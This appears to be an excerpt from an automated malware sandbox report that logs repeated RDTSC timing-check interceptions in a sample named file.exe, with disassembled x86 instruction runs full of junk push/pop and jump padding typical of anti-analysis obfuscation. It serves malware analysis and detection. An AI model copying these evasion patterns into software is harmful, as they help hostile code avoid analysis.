Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0890 second address: 4BA0896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0896 second address: 4BA089A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA089A second address: 4BA08B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBFE8B00F02h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA08B8 second address: 4BA0936 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov ax, di 0x00000010 pushfd 0x00000011 jmp 00007FBFE93CDB81h 0x00000016 or esi, 6AB8F046h 0x0000001c jmp 00007FBFE93CDB81h 0x00000021 popfd 0x00000022 popad 0x00000023 and ecx, 1Fh 0x00000026 jmp 00007FBFE93CDB7Eh 0x0000002b ror eax, cl 0x0000002d jmp 00007FBFE93CDB80h 0x00000032 leave 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FBFE93CDB87h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0936 second address: 4BA095E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00162014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007FBFED58185Ch 0x00000024 push FFFFFFFEh 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA095E second address: 4BA0962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0962 second address: 4BA0968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0968 second address: 4BA09D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007FBFE93CDB80h 0x0000000f ret 0x00000010 nop 0x00000011 push eax 0x00000012 call 00007FBFEDE4E50Fh 0x00000017 mov edi, edi 0x00000019 jmp 00007FBFE93CDB80h 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 push esi 0x00000021 mov ecx, edx 0x00000023 pop edx 0x00000024 movzx eax, di 0x00000027 popad 0x00000028 push eax 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FBFE93CDB7Eh 0x00000030 xor esi, 727CA0C8h 0x00000036 jmp 00007FBFE93CDB7Bh 0x0000003b popfd 0x0000003c popad 0x0000003d xchg eax, ebp 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 mov ebx, eax 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA09D9 second address: 4BA0A37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FBFE8B00EFEh 0x00000010 pop ebp 0x00000011 pushad 0x00000012 mov ebx, eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007FBFE8B00F08h 0x0000001c or ecx, 1D1937E8h 0x00000022 jmp 00007FBFE8B00EFBh 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5002C second address: 4B50072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBFE93CDB7Fh 0x00000008 call 00007FBFE93CDB88h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007FBFE93CDB80h 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50072 second address: 4B5008F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5008F second address: 4B500F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FBFE93CDB7Eh 0x00000010 and esp, FFFFFFF8h 0x00000013 jmp 00007FBFE93CDB80h 0x00000018 xchg eax, ecx 0x00000019 jmp 00007FBFE93CDB80h 0x0000001e push eax 0x0000001f jmp 00007FBFE93CDB7Bh 0x00000024 xchg eax, ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov di, 6B66h 0x0000002c movsx edx, ax 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B500F0 second address: 4B500F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B500F6 second address: 4B500FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B500FA second address: 4B500FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B500FE second address: 4B501C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FBFE93CDB7Ah 0x00000010 sbb eax, 4CFDF308h 0x00000016 jmp 00007FBFE93CDB7Bh 0x0000001b popfd 0x0000001c push ecx 0x0000001d mov bl, 5Eh 0x0000001f pop ecx 0x00000020 popad 0x00000021 mov dword ptr [esp], ebx 0x00000024 pushad 0x00000025 push ebx 0x00000026 pushfd 0x00000027 jmp 00007FBFE93CDB88h 0x0000002c or esi, 48872898h 0x00000032 jmp 00007FBFE93CDB7Bh 0x00000037 popfd 0x00000038 pop esi 0x00000039 pushfd 0x0000003a jmp 00007FBFE93CDB89h 0x0000003f adc cx, CE36h 0x00000044 jmp 00007FBFE93CDB81h 0x00000049 popfd 0x0000004a popad 0x0000004b mov ebx, dword ptr [ebp+10h] 0x0000004e pushad 0x0000004f push esi 0x00000050 mov ch, bl 0x00000052 pop eax 0x00000053 mov di, 2D58h 0x00000057 popad 0x00000058 push edx 0x00000059 jmp 00007FBFE93CDB7Ch 0x0000005e mov dword ptr [esp], esi 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FBFE93CDB87h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B501C3 second address: 4B501FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov edx, eax 0x0000000f popad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FBFE8B00F01h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B501FB second address: 4B50201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50201 second address: 4B50205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50205 second address: 4B5021A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], edi 0x0000000b pushad 0x0000000c mov edx, 6B0FD3A8h 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ecx, edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5021A second address: 4B50229 instructions: 0x00000000 rdtsc 0x00000002 mov esi, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test esi, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50229 second address: 4B5022D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5022D second address: 4B5023B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5023B second address: 4B50241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50241 second address: 4B50245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50245 second address: 4B50258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FC05B7ABF3Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50258 second address: 4B5027F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FBFE8B00F00h 0x0000000a sbb si, 6868h 0x0000000f jmp 00007FBFE8B00EFBh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5027F second address: 4B50285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50285 second address: 4B502C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 pushad 0x00000013 movzx eax, dx 0x00000016 popad 0x00000017 je 00007FC05AEDF27Fh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FBFE8B00F09h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502C3 second address: 4B502EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 2BB4B072h 0x00000008 call 00007FBFE93CDB83h 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov edx, dword ptr [esi+44h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502EB second address: 4B502FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502FB second address: 4B5034C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov di, BEA6h 0x00000013 pushfd 0x00000014 jmp 00007FBFE93CDB87h 0x00000019 xor si, 812Eh 0x0000001e jmp 00007FBFE93CDB89h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5034C second address: 4B5036F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f pushad 0x00000010 mov si, 1C43h 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5036F second address: 4B5038E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 jne 00007FC05B7ABE89h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FBFE93CDB7Dh 0x00000014 mov bh, ah 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5038E second address: 4B503A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B503A4 second address: 4B503F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushfd 0x00000008 jmp 00007FBFE93CDB86h 0x0000000d add ah, FFFFFF98h 0x00000010 jmp 00007FBFE93CDB7Bh 0x00000015 popfd 0x00000016 popad 0x00000017 jne 00007FC05B7ABE45h 0x0000001d jmp 00007FBFE93CDB86h 0x00000022 test bl, 00000007h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B503F7 second address: 4B503FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B503FD second address: 4B50403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50403 second address: 4B50407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40880 second address: 4B408D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, E7F4h 0x00000007 mov ebx, 576F8F60h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FBFE93CDB7Fh 0x00000015 mov ebp, esp 0x00000017 jmp 00007FBFE93CDB86h 0x0000001c and esp, FFFFFFF8h 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FBFE93CDB87h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B408D3 second address: 4B408D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B408D8 second address: 4B40976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FBFE93CDB85h 0x0000000a adc cx, 3726h 0x0000000f jmp 00007FBFE93CDB81h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebx 0x00000019 pushad 0x0000001a push ecx 0x0000001b movsx edi, si 0x0000001e pop ecx 0x0000001f mov bl, 48h 0x00000021 popad 0x00000022 push eax 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FBFE93CDB7Dh 0x0000002a or ax, D736h 0x0000002f jmp 00007FBFE93CDB81h 0x00000034 popfd 0x00000035 mov ax, 2B27h 0x00000039 popad 0x0000003a xchg eax, ebx 0x0000003b pushad 0x0000003c mov bh, ah 0x0000003e call 00007FBFE93CDB85h 0x00000043 movzx eax, bx 0x00000046 pop edx 0x00000047 popad 0x00000048 xchg eax, esi 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c mov cl, dh 0x0000004e call 00007FBFE93CDB7Eh 0x00000053 pop eax 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40976 second address: 4B4097C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4097C second address: 4B409B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FBFE93CDB82h 0x00000012 sbb esi, 481F7248h 0x00000018 jmp 00007FBFE93CDB7Bh 0x0000001d popfd 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B409B0 second address: 4B409F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov bh, 79h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b jmp 00007FBFE8B00F08h 0x00000010 mov esi, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop esi 0x00000018 jmp 00007FBFE8B00F09h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B409F5 second address: 4B40A52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBFE93CDB87h 0x00000009 sub esi, 7305EFFEh 0x0000000f jmp 00007FBFE93CDB89h 0x00000014 popfd 0x00000015 mov ecx, 595D2C47h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d sub ebx, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FBFE93CDB86h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40A52 second address: 4B40A69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40A69 second address: 4B40A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40A6D second address: 4B40A73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40A73 second address: 4B40ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FC05B7B3483h 0x0000000f pushad 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FBFE93CDB7Ch 0x00000017 sbb cx, EBB8h 0x0000001c jmp 00007FBFE93CDB7Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FBFE93CDB88h 0x00000028 jmp 00007FBFE93CDB85h 0x0000002d popfd 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 movzx eax, bx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40ADC second address: 4B40B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000c jmp 00007FBFE8B00F04h 0x00000011 mov ecx, esi 0x00000013 pushad 0x00000014 mov bx, si 0x00000017 call 00007FBFE8B00EFAh 0x0000001c mov ebx, ecx 0x0000001e pop ecx 0x0000001f popad 0x00000020 je 00007FC05AEE6789h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FBFE8B00F05h 0x0000002f add eax, 7F325A76h 0x00000035 jmp 00007FBFE8B00F01h 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40B48 second address: 4B40B4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40B4D second address: 4B40B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, bh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FB6968h], 00000002h 0x00000010 pushad 0x00000011 pushad 0x00000012 movzx ecx, bx 0x00000015 movsx edi, si 0x00000018 popad 0x00000019 mov bh, al 0x0000001b popad 0x0000001c jne 00007FC05AEE6743h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov dx, si 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40B78 second address: 4B40B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40B7E second address: 4B40BA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBFE8B00F06h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40BA1 second address: 4B40BF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBFE93CDB81h 0x00000009 sub al, 00000046h 0x0000000c jmp 00007FBFE93CDB81h 0x00000011 popfd 0x00000012 movzx ecx, dx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ebx 0x00000019 jmp 00007FBFE93CDB88h 0x0000001e mov dword ptr [esp], ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov ah, bl 0x00000026 mov cl, A9h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40BF5 second address: 4B40BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40BFB second address: 4B40BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40BFF second address: 4B40C24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007FBFE8B00F06h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40C24 second address: 4B40C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40C2B second address: 4B40CB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov esi, 3A157C23h 0x00000010 mov dx, si 0x00000013 popad 0x00000014 push dword ptr [ebp+14h] 0x00000017 jmp 00007FBFE8B00F02h 0x0000001c push dword ptr [ebp+10h] 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FBFE8B00EFEh 0x00000026 sub ecx, 5DCA0298h 0x0000002c jmp 00007FBFE8B00EFBh 0x00000031 popfd 0x00000032 push eax 0x00000033 push edx 0x00000034 pushfd 0x00000035 jmp 00007FBFE8B00F06h 0x0000003a sub ah, FFFFFFF8h 0x0000003d jmp 00007FBFE8B00EFBh 0x00000042 popfd 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40CD7 second address: 4B40D15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FBFE93CDB7Eh 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBFE93CDB87h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50D76 second address: 4B50D9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx ebx, cx 0x0000000e mov bh, ch 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov al, D7h 0x00000017 push edi 0x00000018 pop eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50D9D second address: 4B50DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50DAC second address: 4B50DF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FBFE8B00F06h 0x00000016 sub ch, FFFFFFB8h 0x00000019 jmp 00007FBFE8B00EFBh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50DF7 second address: 4B50E24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBFE93CDB7Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50AEF second address: 4B50AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
